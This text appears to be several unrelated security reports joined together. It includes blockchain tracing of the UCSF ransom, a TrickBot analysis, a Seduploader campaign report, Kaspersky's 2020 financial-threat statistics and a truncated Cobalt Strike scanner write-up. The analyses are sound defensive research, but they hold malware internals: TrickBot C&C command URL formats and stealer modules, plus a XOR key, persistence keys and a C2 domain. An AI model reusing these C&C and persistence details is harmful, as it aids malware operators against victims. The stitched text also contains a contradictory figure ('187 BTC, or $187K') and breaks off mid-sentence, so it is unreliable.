“Reconnaissance.” 12. “Gather Victim Host Information: Software.” 13. “Resource Development.” 14. “Acquire Infrastructure: Virtual Private Server.” 15. “Obtain Capabilities: Tool.” 16. S. Özarslan, “MITRE ATT&CK T1003 Credential Dumping.” 17. S. Özarslan, “MITRE ATT&CK T1086 PowerShell.” 18. besimorhino, “besimorhino/powercat.” 19. markruss, “PsExec - Windows Sysinternals.” 20. S. Özarslan, “How to Beat Nefilim Ransomware Attacks.” 21. S. Özarslan, “The Ransomware Resurgence Led By LockerGoga.” 22. cobbr, “cobbr/Covenant.” 23. “China Chopper.” 24. SecureWorks Counter Threat Unit Threat Intelligence, “Threat Group-3390 Targets Organizations for Cyberespionage.” 25. “Initial Access.” 26. “Exploit Public-Facing Application.” 27. “China Chopper.” 28. “Persistence.” 29. “Server Software Component: Web Shell.” 30. S. Özarslan, “MITRE ATT&CK T1036 Masquerading.” 31. “Lateral Movement.” 32. “Remote Services: SMB/Windows Admin Shares.” 33. “Archive Collected Data: Archive via Utility.” 34. “Email Collection: Remote Email Collection.” 35. “Command and Control.” 36. “Application Layer Protocol: Web Protocols.”
# The Bitcoin Ransomware Detective Strikes Again: The UCSF Case **TL;DR:** Hunting for real-world incidents in blockchain data sometimes leads to interesting insights and findings. In this case, we were able to find UCSF’s $1.14M ransom payment on the blockchain and correlate it to an additional $700K transaction. This potentially increases the paid UCSF ransom to over $1.8M. Following our recent article on the $4M Bitcoin CWT ransomware payment, we continued to hone our blockchain hunting skills. Usually, these skills are used to protect ZenGo customers. This time, however, we had a different focus. We managed to track down the $1.14M ransom paid by the University of California San Francisco (UCSF). You might remember this case. It gained widespread exposure because ransom negotiations between UCSF’s negotiator and hackers were made public and covered by popular media outlets like BBC and Bloomberg. In this article, we’ll share our findings and some additional insights we were able to infer from the Bitcoin blockchain data. We’ll also describe our methods so other security researchers can explore similar incidents in the future and possibly create a safer environment for all of us. ## How to find a ransomware transaction According to the threatpost, UCSF paid a $1.14 million ransom to recover data related to academic work. This data was encrypted after the NetWalker ransomware hit the medical school at the university. Unlike the CWT case linked to above, public reports on UCSF ransomware did not include the attackers’ Bitcoin address, supposedly preventing researchers from analyzing the money trail. This made our investigations a little more cumbersome. However, we did not give in. As we should all know by now, Bitcoin data is pseudonymous, not anonymous. Users are represented by mostly meaningless addresses; however, all transactions between these addresses can be watched by anyone. With this in mind, we knew it would be possible to find the address if we could obtain enough information on the transaction details and money trail “pattern.” Diving into the media stories, we found two technical details that assisted in our investigation. The paid ransom sum was 116.4 BTC ($1.14M at the time), and the payment took place on the 12th of June. While sending such a large and specific amount of money in a particular time period may seem like enough to identify the transaction, we wanted to be sure. To have an even higher level of certainty, we required the transaction to be part of the following blockchain “pattern.” Ransomware payments usually follow a distinct pattern: 1. Negotiators buy the exact amount of Bitcoin requested by attackers from a large liquidity provider. The negotiators use a “fresh” address, with no previous history to prevent any data leakage, for this transaction. 2. Negotiators then immediately transfer this full amount to the attackers’ fresh address. The transfer is done rapidly as negotiators don’t want to keep so much money in their possession for a long time. (Sometimes, negotiators will send a small transaction first to make sure they have the right address and then send the full amount.) 3. Once the payout lands in the attackers’ initial address, the attackers split the loot. In the case of the NetWalker ransomware, this split is very distinct. The NetWalker gang worked in a “Ransomware-as-a-service” (RaaS) model. The gang operates the infrastructure, while the affiliate drives the operation and infects the victim. Thanks to ciphertrace research, we know that this model creates a “four arms” pattern. The NetWalker gang operators get 20% of the loot, split into 10%, 5%, and 5% payments to known addresses. The remaining 80% goes to the RaaS affiliate. ## Finding the transaction Using BlockChair’s interface, we could query the Bitcoin blockchain for transactions on the date and the reported sum. We provided a slightly bigger range for both dates and sums to allow some flexibility in case the details in the story were not exact. We created a query to retrieve transactions where the sum is between 116 and 117 Bitcoin, and the date is between the 12th and 13th of June. Results returned six possible candidates, but it was easy to identify the relevant ransom transaction, as it followed our assumptions detailed above. The ransom money trail: Binance → Negotiator → NetWalker → NetWalker Affiliate (all times UTC). As we had expected, we found the Negotiators (address 36YWNH, shortened for readability) buying 116.4 BTC from Binance exchange (address 19JyAkHKh, associated with Binance according to Clank) into a fresh address on the 12th of June at 20:13 (All times UTC), then paying immediately to a fresh NetWalker address (address 36kmJZj). The NetWalker address immediately split the ransom money, sending 20% to the known NetWalker address in the usual split (5%, 5%, 10%) and 80% to the NetWalker affiliate (address 1C7FeXMf1). ## The additional “four arms” transaction We discovered the ransom money trail and verified the media story by cross-checking it with Bitcoin blockchain data. However, we weren’t done yet. We discovered a similar “four arms” payment to the same affiliate address, made only 19 hours before the UCSF payment. Oddly enough, the money trail followed a similar path from the same Binance address to the same NetWalker affiliate. The Negotiators bought 70.5 BTC (about $700K) from the same provider (Binance, address 19JyAkHKh) and put it into a fresh address on the 11th of June at 23:41. They then transferred it immediately to a fresh NetWalker address, that was split to the same NetWalker affiliate (address 1C7FeXMf1). This extra payment to the same attacker could be related to the UCSF incident or another unrelated ransomware incident. However, after talking to ransom negotiation experts, the former option is much more likely. This puts the total ransom paid by UCSF to the attackers closer to $2M (187 BTC, or $187K at the time). According to these experts, in many cases, payments are not paid at once but tranched in return for certain “milestones” to build rapport between parties—for example, one payment to delete exfiltrated information or get more information on the penetration method used by attackers and a second to receive a decryption key. Having the same liquidity provider (Binance), the same negotiator wallet “technology” (type of address and other technical optional fields) together with the payment to the same affiliate, which was conducted only 19 hours before the UCSF payment provides a strong, albeit circumstantial, support to this theory too. Additionally, the alternative explanation, that connects the first payment to another unrelated ransomware incident by the same NetWalker affiliate happening in parallel is unlikely. These two ransom transactions are the only NetWalker “four arms” transactions for this NetWalker affiliate. It doesn’t seem likely this NetWalker affiliate would have conducted two independent ransomware campaigns in parallel with the same address and then completely disappeared. ## Summing up “Big game hunting” ransomware incidents targeting large enterprises are all over the financial news. However, in many cases, the details are often left in the shadows, as both attackers and victims want to keep the incidents from public view. Using Bitcoin blockchain research can help fill this information gap and reveal vital information on ransomware incidents. At ZenGo, our customers’ security is our top priority. That’s why we try to learn from every crypto-related security incident. In our experience, we’ve found that observing incidents is always useful and often leads to some interesting insights. We believe understanding this incident may increase the awareness of law enforcement and help them detect and stop such underworld payments in the future.
# TrickBot Emerges with a Few New Tricks First observed in 2016, TrickBot is a successor of the banking trojan Dyre and has become one of the most prevalent and dangerous malware strains in today's threat landscape, which is constantly monitored by the Zscaler ThreatLabZ team. TrickBot is continually evolving as its developers add new features and tricks. It is modular, with a main bot binary that loads other plugins capable of specific tasks, with new modules being introduced and old ones being improved at regular intervals. ## Solidarity with Other Malware TrickBot is often seen working with other types of malware, sometimes using them as an initial infection vector to find its way into the target host or downloading other malware families to get the most out of an infection. For example, Emotet, the rampant banking trojan, has become a major partner for TrickBot deployments. TrickBot is also known to have deployed cryptominer payloads (Monero miner XMRIG) on infected hosts. Recently, Ryuk has become the TrickBot developers’ favorite ransomware for squeezing more cash out of infections from high-value targets. Developers are now identifying high-value targets using data collected by TrickBot. Once a target is identified, they use other tools like CobaltStrike, PowerShell Empire, PSExec, and AdFind to navigate and plant Ryuk ransomware. Legal services and e-discovery giant Epiq Global had to take its systems offline due to a Ryuk infection in the beginning of March 2020. They have also developed new malware, called AnchorBot, which is based on TrickBot code and utilizes DNS as the command-and-control (C&C) medium. Unlike TrickBot, AnchorBot has not been seen in the wild using malspam or other malware for deployment. It is probably a specialized version reserved for certain targets or may be available to rent out to special customers, potentially nation-state actors. Notably, Ryuk was attributed to North Korean actors based on code similarities with Hermes ransomware, but many researchers later argued that these similarities were not conclusive. Since almost every TrickBot infection starts with malspam containing an attached downloader or from a partner botnet like Emotet, we will take a look at those downloading TrickBot loaders over the last year. We have primarily seen three types of non-executable downloaders: - LNK - JS - DOC ### LNK Downloader TrickBot is often spread using spam emails with attached ZIP files containing LNK (.lnk) files. We have seen LNK files with the following icons: Names of files observed: - Label.doc.lnk - PrintOnline.pdf.lnk - Print.PDF.lnk - ConfirmationOnline.doc.lnk - Readme_Invoice_Doc.doc.lnk - InvoiceAug5.doc.lnk - Invoice_Print.lnk - DOC080219Admission.lnk One interesting thing is that eight out of nine LNK files had the MachineID win-jbf0q9el659. Some samples contained a PowerShell script to download a payload from the URL directly in the Link Target field. These LNK files contain batch commands to extract and run downloader VBS code. It used the findstr command to find the start of a VBS script embedded in the LNK file and executed that script after saving in the %temp% directory. Here, the name of the LNK file is provided to the findstr command. That also works as an anti-sandbox trick for some of the sandboxes that do not run files with their original names. In this script, we mainly observed two types of obfuscation; one is where the obfuscated string is provided and it executes, replacing a part of it with “)+chr(“. In another type of obfuscation, two arrays of values are provided, and the decrypted script is built character by character with arithmetic operations on array elements. After decryption, the script looks the same for the LNK file as well as the script files from the spam emails. These variations may be an attempt to bypass AV emulators. The malware tries to create a shortcut and save by passing a parameter to the save method, which will fail on the real machine. After that, it checks if the file exists and only downloads if the file has not been created. ### Script Downloader The obfuscation scripts and final downloader scripts are similar to scripts extracted from LNK files. In these files, we’ve seen some additional types of obfuscation along with the obfuscation seen in scripts from LNK files. While in most cases, the final scripts responsible for downloading the TrickBot payload were identical and not obfuscated, in one case the script was slightly obfuscated. ### Document Downloader Downloaders based on Office documents were once the favorite choice of TrickBot developers. But recently, we have seen a downtrend in macro-based document usage for TrickBot delivery. Some of the document templates we have observed during last year are below. There were different variations of documents downloading TrickBot. Some of the variations we observed included: - Drop and execute JS/JSE files which further download the TrickBot payload. The dropped script file is similar to the files discussed in the script downloader section. - Macro code downloads and executes payload. - No macro code in file, executable directly embedded in document as ActiveX, requires user to double-click. - Deobfuscate and build batch commands to download file. - In other cases, it drops a BAT file containing PowerShell code to download payload. Actions used to start execution of downloader: - Macro Auto_Open() - Macro Document_Open() - Macro Document_Close() - Double-click by user to run ActiveX object ### Loader Once it’s downloaded, the main TrickBot component known as the TrickBot loader begins to run. The loader acts as a banking Trojan and is also responsible for downloading various modules for specific tasks. TrickBot modules come in 32-bit and 64-bit and, depending on the architecture of the infected system, the loader downloads and runs the corresponding modules. The following are the TrickBot modules seen in the wild: - Systeminfo - For gathering basic information on the host - importDll - For stealing data from a browser - injectDll - For injecting into banking websites to steal credentials - Pwgrab - For grabbing passwords from various spots - cookiesDll - For stealing/grabbing cookies - mailsearcher - For traversal over all files in all drives in the system to steal - sharedll - For transferring over to ADMIN shares and creating persistence via services - networkDll - For gathering system information and network/domain topology - NewBCtestDll - Backconnect SOCK5 module - psfin - Point-of-Sale 'recon' module - vncDll - Remote control/VNC module - wormDll - For lateral movement - tabDll - For spreading over SMB using EternalRomance and MS17-010 - outlookDll - For stealing data saved by Microsoft Outlook - domainDll - For LDAP harvesting of domain controller configuration - mwormDll - For lateral movement/enumeration module via LDAP and SMB exploitation - mshareDll - For lateral movement/enumeration via LDAP and SMB exploitation; mshare and mworm modules work in cooperation - rdpScanDll - New module that uses brute-force remote desktop protocol (RDP) for a specific list of victims It downloads and injects each module into a new instance of svchost.exe. For each running TrickBot component, there is a corresponding instance of svchost.exe. The latest version of loaders that we have seen in the wild are 1087 and 1088, and the most recent config version is 1000503. We looked at loader version numbers and their compilation dates, then plotted version 1058 to version 1088 with their corresponding compilation dates. It seems that two different versions are maintained at a time. It may seem that each version represents two botnets that are run independently, but according to our data, the C&C infrastructure is shared by all versions. More than 1,400 C&C IPs extracted from the TrickBot configuration were used to draw a relationship map with loader versions. Unlike Emotet, which uses a separate first layer C&C infrastructure for different epochs, we observed no such organization in TrickBot. It shares its first layer infrastructure between all levels, global site tags (gtags), and versions. Similarly, almost all gtags in configs also share the same infrastructure. C&C infrastructure is shared between different levels of TrickBot infection, such as between loaders and modules (handling bots, modules, and webinjects). ### Communication TrickBot communicates with C&C servers using GET requests and always uses numeric IP addresses as C&C addresses; its port numbers are usually 443, 449, or 499. The communication always happens over SSL/TLS, but the port can be any of the ports used by TrickBot. The TrickBot loader supports various commands that it uses to communicate with the C&C servers. Its C&C request pattern is: `{server-ip:port}/{gtag}/{client_id}/{Command}` Some of its interesting commands include: - `/0/` - initial contact format e.g `/0/{os name}/{version}/{public ip}/{64 hex char}/{base64}` - `/1/` - keep alive, wait for command - `/5/{name}` - download module or injects e.g `/5/injectDll64/`, `/5/dinj/` - `/10/` - Log module/command execution has started e.g `/10/62/972991/1/` - `/14/` - profiling information or important feedback e.g `/14/user/{username}/0/` - `/23/{config_version}` - Update base config - `/25/` - update bot e.g `/25/M2vzSeNWHXZ2SZI8HNKwD/` - `/60/` - post traffic captured by injectDll - `/63/` - issue command to component (x) e.g `/63/injectDll/sTart/U3VjY2Nzcw==//` - `/64/` - issue command to ETERNALBLUE component (wormdll) e.g `/64/wormDll/InfectMachine/infect/` - `/send/` - used by mailsearcher component to POST exfil email addresses Recently, around the second weekend of March, TrickBot added a few new banks from Italy to its target list, which includes: - cedacri.it - banking4you.it - www.credem.it - nowbanking.credit-agricole.it - inbank.it - friuladria.it - finecobank.com - youweb.bancobpm.it - csebo.it - carispezia.it - relaxbanking.it - www.intesasanpaolo.com - creval.it - cariparma.it - bpergroup.net - ibbweb.tecmarket.it - mps.it - unicredit.it - icbp.seceti.it - dbonline.italy.db.com - poste.it - ibk.nexi.it - banking.bnl.it - fideuramonline.it - gruppocarige.it - clienti.chebanca.it - scrigno.popso.it - qweb.quercia.com - ib.cbibanking.it - ubibanca.com - bancagenerali.it - paco.cabel.it ## Conclusion Threat actors like the developers of TrickBot are becoming more and more sophisticated. TrickBot recently introduced a new module called rdpScanDll. Most recently, TrickBot was observed using Android malware to bypass two-factor authentication in Germany. We have not seen the use of this app for other targets, but we don’t expect it to be long until attackers begin to use it worldwide. The Zscaler ThreatLabZ team proactively tracks and ensures coverage to block downloaders, payloads, webinjects, and C&C activity from TrickBot and related malware. Because TrickBot’s C&C communications occur over SSL, we strongly recommend the use of SSL inspection to detect and block TrickBot and similar threats.
# Cyber Conflict Decoy Document Used In Real Cyber Conflict This post was authored by Warren Mercer, Paul Rascagneres, and Vitor Ventura. Update 10/23: CCDCOE released a statement today on their website. ## Introduction Cisco Talos discovered a new malicious campaign from the well-known actor Group 74 (aka Tsar Team, Sofacy, APT28, Fancy Bear…). Ironically, the decoy document is a deceptive flyer relating to the Cyber Conflict U.S. conference. CyCon US is a collaborative effort between the Army Cyber Institute at the United States Military Academy and the NATO Cooperative Cyber Defence Centre of Excellence. Due to the nature of this document, we assume that this campaign targets people with an interest in cybersecurity. Unlike previous campaigns from this actor, the flyer does not contain an Office exploit or a 0-day; it simply contains a malicious Visual Basic for Applications (VBA) macro. The VBA drops and executes a new variant of Seduploader. This reconnaissance malware has been used by Group 74 for years and is composed of two files: a dropper and a payload. The dropper and the payload are quite similar to the previous versions, but the author modified some public information such as MUTEX name and obfuscation keys. We assume that these modifications were performed to avoid detection based on public IOCs. The article describes the malicious document and the Seduploader reconnaissance malware, especially the difference with the previous versions. ## Malicious Office Document ### Decoy Document The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the filename `Conference_on_Cyber_Conflict.doc`. It contains two pages with the logo of the organizer and the sponsors. Due to the nature of the document, we assume that the targeted people are linked to or interested in the cybersecurity landscape. The exact content of the document can be found online on the conference website. The attackers probably copy/pasted it into Word to create the malicious document. ### VBA The Office document contains a VBA script. Here is the code: The goal of this code is to get information from the properties of the document ("Subject", "Company", "Category", "Hyperlink base", and finally "Comments"). Some of this information can be directly extracted from the Windows explorer by looking at the properties of the file. The "Hyperlink Base" must be extracted using another tool; strings is capable of obtaining this by looking for long strings. Pay close attention to the contents of these fields as they appear base64 encoded. This extracted information is concatenated together to make a single variable. This variable is decoded with the base64 algorithm in order to get a Windows library (PE file) which is written to disk. The file is named `netwf.dat`. On the next step, this file is executed by `rundll32.exe` via the KlpSvc export. We see that this file drops two additional files: `netwf.bat` and `netwf.dll`. The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden. We can also see two VBA variable names: `PathPld`, probably for Path Payload, and `PathPldBt`, for Path Payload Batch. ### Seduploader Variant #### Dropper Analysis As opposed to previous campaigns performed by this actor, this latest version does not contain privilege escalation and simply executes the payload and configures persistence mechanisms. The dropper installs two files: - `netwf.bat`: executes `netwf.dll` - `netwf.dll`: the payload The dropper implements two persistence mechanisms: - `HKCU\Environment\UserInitMprLogonScript` to execute the `netwf.bat` file - COM Object hijack of the following CLSID: `{BCDE0395-E52F-467C-8E3D-C4579291692E}`, the CLSID of the class MMDeviceEnumerator. These two techniques have also been previously used by this actor. Finally, the payload is executed by `rundll32.exe` (and the ordinal #1 in argument) or by `explorer.exe` if the COM Object hijack is performed. In this case, `explorer.exe` will instance the MMDeviceEnumerator class and will execute the payload. ### Payload Analysis The payload features are similar to the previous versions of Seduploader. We can compare it to the sample `e338d49c270baf64363879e5eecb8fa6bdde8ad9` used in May 2017 by Group 74. Of the 195 functions of the new sample, 149 are strictly identical, 16 match at 90%, and 2 match at 80%: In the previous campaign where adversaries used Office document exploits as an infection vector, the payload was executed in the Office word process. In this campaign, adversaries did not use any exploit. Instead, the payload is executed in standalone mode by `rundll32.exe`. Adversaries also changed some constants, such as the XOR key used in the previous version. The key in our version is: ``` key=b"\x08\x7A\x05\x04\x60\x7c\x3e\x3c\x5d\x0b\x18\x3c\x55\x64" ``` The MUTEX name is different too: `FG00nxojVs4gLBnwKc7HhmdK0h`. Here are some of the Seduploader features: - Screenshot capture (with the GDI API) - Data/configuration exfiltration - Execution of code - File downloading The Command & Control (CC) of the analyzed sample is `myinvestgroup[.]com`. During the investigation, the server did not provide any configuration to the infected machines. Based on the metadata of the Office documents and the PE files, the attackers had created the file on Wednesday, the 4th of October. We can see, in Cisco Umbrella, a peak in activities three days later, Saturday the 7th of October. ## Conclusion Analysis of this campaign shows us once more that attackers are creative and use the news to compromise the targets. This campaign has most likely been created to allow the targeting of people linked to or interested in cybersecurity, so probably the people who are more sensitive to cybersecurity threats. In this case, Group 74 did not use an exploit or any 0-day but simply used a scripting language embedded within the Microsoft Office document. Due to this change, the fundamental compromise mechanism is different as the payload is executed in standalone mode. The reasons for this are unknown, but we could suggest that they did not want to utilize any exploits to ensure they remained viable for any other operations. Actors will often not use exploits due to the fact that researchers can find and eventually patch these, which renders the actors' weaponized platforms defunct. Additionally, the author did some small updates after publications from the security community; again, this is common for actors of this sophisticated nature. Once their campaigns have been exposed, they will often try to change tooling to ensure better avoidance. For example, the actor changed the XOR key and the MUTEX name. We assume that these modifications were performed in order to avoid detection based on public IOCs. ## Coverage Additional ways our customers can detect and block this threat are listed below: - Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. - CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. - Email Security can block malicious emails sent by threat actors as part of their campaign. - Network Security appliances such as NGFW, NGIPS, and Meraki MX can detect malicious activity associated with this threat. - AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. - Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. - Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. ## IOCs ### Files **Office Documents:** - `c4be15f9ccfecf7a463f3b1d4a17e7b4f95de939e057662c3f97b52f7fa3c52f` - `e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae` - `efb235776851502672dba5ef45d96cc65cb9ebba1b49949393a6a85b9c822f52` **Seduploader Dropper:** - `522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805` **Seduploader Payload:** - `ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18` ### Networks **CC:** - `myinvestgroup[.]com`
# Financial Cyberthreats in 2020 2020 was challenging for everyone: companies, regulators, individuals. Due to the limitations imposed by the epidemiological situation, particular categories of users and businesses were increasingly targeted by cybercriminals. While we were adjusting to remote work and the rest of the new conditions, so were scammers. As a result, 2020 was extremely eventful in terms of digital threats, particularly those faced by financial institutions. Some known APT (Advanced Persistent Threat) groups that do not generally target financial institutions tried their hand at it. Existing at a special crossroads between APT and financial crime, the Lazarus group was among the most active in the financial sphere. In 2020, the group engaged in the big extortion game with the VHD ransomware family. Other groups, such as MuddyWater, followed suit. Moreover, in 2020, we saw regional actors go global. A few Brazilian malware families expanded their operations to other continents, targeting victims in Europe and Asia. We dubbed the first four families to have done this (Guildma, Javali, Melcoz, Grandoreiro) “the Tétrade.” Later, the authors of Guildma created the new banking malware Ghimob targeting users in Brazil, Paraguay, Peru, Portugal, Germany, Angola, and Mozambique. The known financial threats remained as well. The year 2020 saw a surge in the use of Emotet, described by Interpol as “the world’s most dangerous malware.” In early 2021, law enforcement agencies worldwide joined forces to disrupt the botnet’s infrastructure. According to Kaspersky experts, the operation will frustrate Emotet’s activities for at least several months. Meanwhile, some Emotet customers switched to Trickbot. Even though 2020 saw increasingly sophisticated cyberattacks, the overall statistics looked encouraging: the number of users hit by computer and mobile malware declined, as did financial phishing. However, this does not mean that the cyber world has become a safer place; it indicates that the cybercriminals’ goals and tactics have changed. Despite the decreasing general statistics, attacks have become more targeted and business-oriented. Cybercriminals skillfully adapted to global changes, benefiting from teleworking vulnerabilities and the rising popularity of online shopping. This report aims to shed light on financial cyberthreats in 2020. ## Methodology In this research, financial malware refers to several types of malevolent software. Firstly, we identify as financial the malware targeting users of financial services such as online banking, payment systems, e-money services, e-shops, and cryptocurrency services. Secondly, we use the term to define malware attempting to gain access to financial organizations and their infrastructure. Most financial malware attacks rely on spamming and phishing activities, such as creating and distributing fake finance-themed web pages and emails to steal victims’ payment info. To examine the financial sector threat landscape, Kaspersky researchers analyzed malicious activities on devices owned by individuals using Kaspersky security products, which they volunteered to make available through the Kaspersky Security Network. Corporate user statistics were collected from enterprise security solutions after our customers agreed to share their data with Kaspersky. The data for 2020 was mostly compared against 2019 to monitor malware development trends. However, in some parts, for better insight into financial malware evolution, the study also refers to earlier times. ## Key Findings ### Phishing In 2020, the percentage of users hit by phishing declined slightly from 15.7% to 13.2%. E-shops became the target of choice for phishing attacks. Almost every fifth attempted visit to a phishing page blocked by Kaspersky products was related to online store phishing. Phishing attacks against PayPal users soared from 26.8% in 2019 to 38.7% in 2020. The longtime leader of the category, Visa, dropped to fourth place with 10.2% of phishing attacks against users of payment systems successfully prevented by Kaspersky in 2020. ### PC In 2020, 625,364 users were attacked by banking Trojans – 148,579 less than 773,943 in 2019. Users in Russia, Germany, and Kazakhstan were the most frequent targets of financial malware. Zbot remained the most widespread banking malware (22.2% of attacked users), with CliptoShuffler (15.3%) in second place and Emotet (14.5%) in third place. 36% of users hit by banking malware were corporate ones – an increase of one percentage point from the previous year. ### Mobile The number of users attacked by Android banking malware rapidly dropped by more than 55%: from 675,772 in 2019 to 294,158 in 2020. Japan, Taiwan, and Spain had the highest percentage of users hit by Android banking malware. ### Financial Phishing In 2020, Kaspersky anti-phishing technologies detected 434,898,635 attempted visits to various types of phishing pages. 37.2% of those were related to financial phishing – 14.2 percentage points less than the figure registered in 2019 (51.4%). The lowest financial phishing percentage in the past five years. By “financial phishing,” we mean not only banking phishing but several other types as well. For instance, ‘payment systems’ include pages mimicking well-known payment brands like PayPal, Visa, MasterCard, and American Express. ‘E-shops’ include online stores and auction sites like Amazon, Apple Store, Steam, and eBay. In 2020, banking phishing reached only 10.72% of the total. E-shops, with 7.57% in 2019, almost tripled, reaching 18.12%. Kaspersky experts connect these changes with lockdown measures due to the pandemic, as people turned to online shopping and digital entertainment. While online shopping proved the most appealing field for scammers, payment systems were not as much of a lure, their share barely reaching 8.41%. ### Banking Malware for PC In 2020, the number of attacked users declined from 773,943 in 2019 to 625,364 – almost a 20% drop. The reduction can be explained by the fact that attacks are becoming more targeted – cybercriminals now prefer to attack large businesses. Yet common users and small entities continue to fall victim to cybercriminal groups such as Zbot, CliptoShuffler, Emotet, RTM, and others. ### The Main Actors In 2020, only four families (Zbot, CliptoShuffler, Emotet, and RTM) accounted for more than half of the attacked users. Zbot (22.2%) remained the most used malware in the financial sphere, while RTM (10.5%) dropped from second to fourth place. Notably, Gozi (3.3%), the second most active family just two years ago, was pushed out to ninth place. ### Geography of Attacked Users In 2020, the top countries with the highest percentage of users hit by financial malware were: - Russian Federation: 26.6% - Germany: 4.5% - Kazakhstan: 4.1% - Brazil: 3.4% - China: 3.4% - Italy: 3.3% - India: 3.1% - Mexico: 2.8% - Vietnam: 2.8% - Uzbekistan: 2.3% ### Types of Users Attacked Financial malware is becoming more corporate-oriented. In 2020, 36% of users attacked by banking malware were corporate ones, an increase of one percentage point from the previous year. This shift indicates cybercriminals are focusing more on the corporate sector. ## Cryptocurrency Related Cyberthreats in 2020 In 2020, we continued to observe a downward trend for mining malware. However, by the end of the year, the numbers reached a plateau, and we even saw local trend reversals. The sharp increase in cryptocurrency prices at the end of 2020 may boost the threat in early 2021. ## Mobile Banking Malware In 2020, the number of users attacked by Android banking malware decreased by more than 55% to 294,158. The most widespread families included Asacub (25.6%), Agent (18.0%), and Rotexy (17.9%). ### Conclusion The year 2020 demonstrated that cybercriminals can easily adapt to new realities. They keep updating their malware with new features and improving detection avoidance techniques. The general statistics in all areas analyzed (PC and mobile malware, phishing) are on a downward trend, which is a positive sign. However, the emerging trend of banking Trojans targeting corporate users is concerning, as such attacks are likely to bring more problems than attacks on individuals. The regional scam factories targeting financial organizations are increasingly reaching a global level, potentially resulting in more growth in 2021. Thus, even though the general statistics look positive, the massive threat landscape still faced by financial organizations must be considered. ## Recommendations To protect against financial threats, Kaspersky recommends users to: - Install only applications from reliable sources. - Check the access rights and permissions requested by applications. - Never follow links from spam messages or open attached documents. - Install a trusted security solution, such as Kaspersky Security Cloud. To protect your business from financial malware, Kaspersky security experts recommend: - Introduce cybersecurity awareness training for employees. - Enable the default deny mode for web resources for critical user profiles. - Install the latest updates and patches for all software. - Install anti-APT and EDR solutions for network threat detection. - Provide your SOC team with access to the latest threat intelligence and regular upskill training.
# Pointer: Hunting Cobalt Strike Globally **Pavel Shabarkin** November 21, 2021 ## Introduction Cobalt Strike is a commercial, full-featured remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors.” Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. In addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. Cobalt Strike is a legitimate security tool used by penetration testers and red teamers to emulate threat actor activity in a network. However, lately, this tool has been hijacked and abused by cybercriminals. Our goal was to develop a tool to help identify default Cobalt Strike servers exposed on the Internet. We strongly believe that understanding and mapping adversaries and their use of Cobalt Strike can improve defenses and boost organization detection and response controls. Blocking, mapping, and tracking adversaries is a good start. ## Tool Development A review of existing Cobalt Strike detection tools and public research showed that current tools can only scan a small number of potential Cobalt Strike instances (1–5k hosts). Our goal was to increase the scanning capabilities and validate several million potential Cobalt instances in less than an hour. To achieve the above goal within a reasonable timeframe and on a small budget, it was necessary to adapt and scale the current understanding of the Cobalt Strike hunting methodology. The following content assumes an understanding of what Cobalt Strike is and how to locate and identify Cobalt Strike instances. Before going into the details of the tool and their components, let’s take a look at the general architecture. ## Architecture Review Scanning a large number of hosts in a reasonable amount of time does not scale and has physical, cost, and power limitations. Unless you have a great home lab and the bandwidth to support it, personal computing cannot really solve the scaling problem, so the decision was made to use AWS to affordably scale and achieve the desired goals. The tool is developed and heavily based on AWS SQS, Lambda, and DynamoDB. The Pointer client parses the local JSON file with a list of IPs, optimally splits them into packets (10–20 IPs), and then adds the packets to be processed to the SQS queue. The SQS queue is set up to invoke a Lambda function for each packet in the queue. The Lambda function (Pointer server) performs the actual scanning of the provided packet of IPs and saves results to DynamoDB. In cases where Lambda fails or throws an error, packets are returned to the SQS queue and will wait for a retry. If the packet fails a second time, a new Lambda function is launched that logs the failed packet to DynamoDB for further analysis and rescans each IP individually to locate the failed IPs. ## Code Review The scan functionality of the “Pointer server” consists of four parts: 1. Port Scanning (Port Workers) 2. HTTP Webservice scan (HTTP Workers) - Certificate parsing - JARM parsing 3. HTTPS Webservice scan (HTTPS Workers) 4. Beacon Parsing (Beacon Workers) The tool was designed with an asynchronous approach to IP processing. Each scan probe stands as an independent unit, which is then processed by a Worker. The probes include port scanning, Certificate Issuer parsing, JARM parsing, web service scanning, and Beacon parsing. Once each probe is completed, the result is sent to the corresponding controller, which writes the result to the global map. After all scan workers are done, the data is sorted and ordered before being combined into the Target structure. Overall, this reduces the number of delays since each service (ip:port) has its own scan pipeline. ## Detailed Review Initially, the Lambda function launches Port, HTTP, HTTPS, and Beacon workers. The number of workers depends on the level of internal concurrency (Internal concurrency is the controllable CLI parameter). Each type of worker is portioned accordingly to the required power resources. Portioning has been calculated based on the number of probes each worker performs on average. Each targeted IP address is scanned for 27 predefined ports; this list includes common ports on which Cobalt Strike beacons are hosted. The “launcher” sends service (ip:port) to the Port Workers through the portChannel Golang channel. Port workers then scan the individual ports. If a port is open, the worker sends the service to the HTTP Worker and Output controller through the httpChannel and outputChannel Golang channels. If the port is closed, the Port Worker exits the function. All workers send results through a single Golang channel, outputChannel, which are then processed by the output controller and saved to the global map (Sorter struct). Each result produced by the workers has its own type tag (Ex: "Service|", "Certificate|", "Jarm|", …), ensuring that the ValidateOutput function can sort the results based on their types. The HTTP worker waits for IP and port tuple (service) to be provided by the Port Worker via the httpChannel. If the HTTP Worker receives port 50050, it attempts the following actions: - Parse the certificate issuer -> identifying the default self-signed Cobalt certificate - Parse the JARM signature -> detecting malicious JARM signatures For other services, it performs a web request to analyze response behavior. Beacon’s HTTP/HTTPS indicators are controlled by a malleable C2 profile; if the server uses the default malleable C2 profile, it responds with a 404 status code and 0 content-length for requests made to the root web endpoint (http://domain.com/). If the request to the targeted web service fails, the HTTP Worker sends the service through the httpsChannel channel further to the HTTPS Worker to perform the web request through HTTPS protocol. Being inspired by the “Analyzing Cobalt Strike for Fun and Profit” research and its corresponding tool for Cobalt Strike 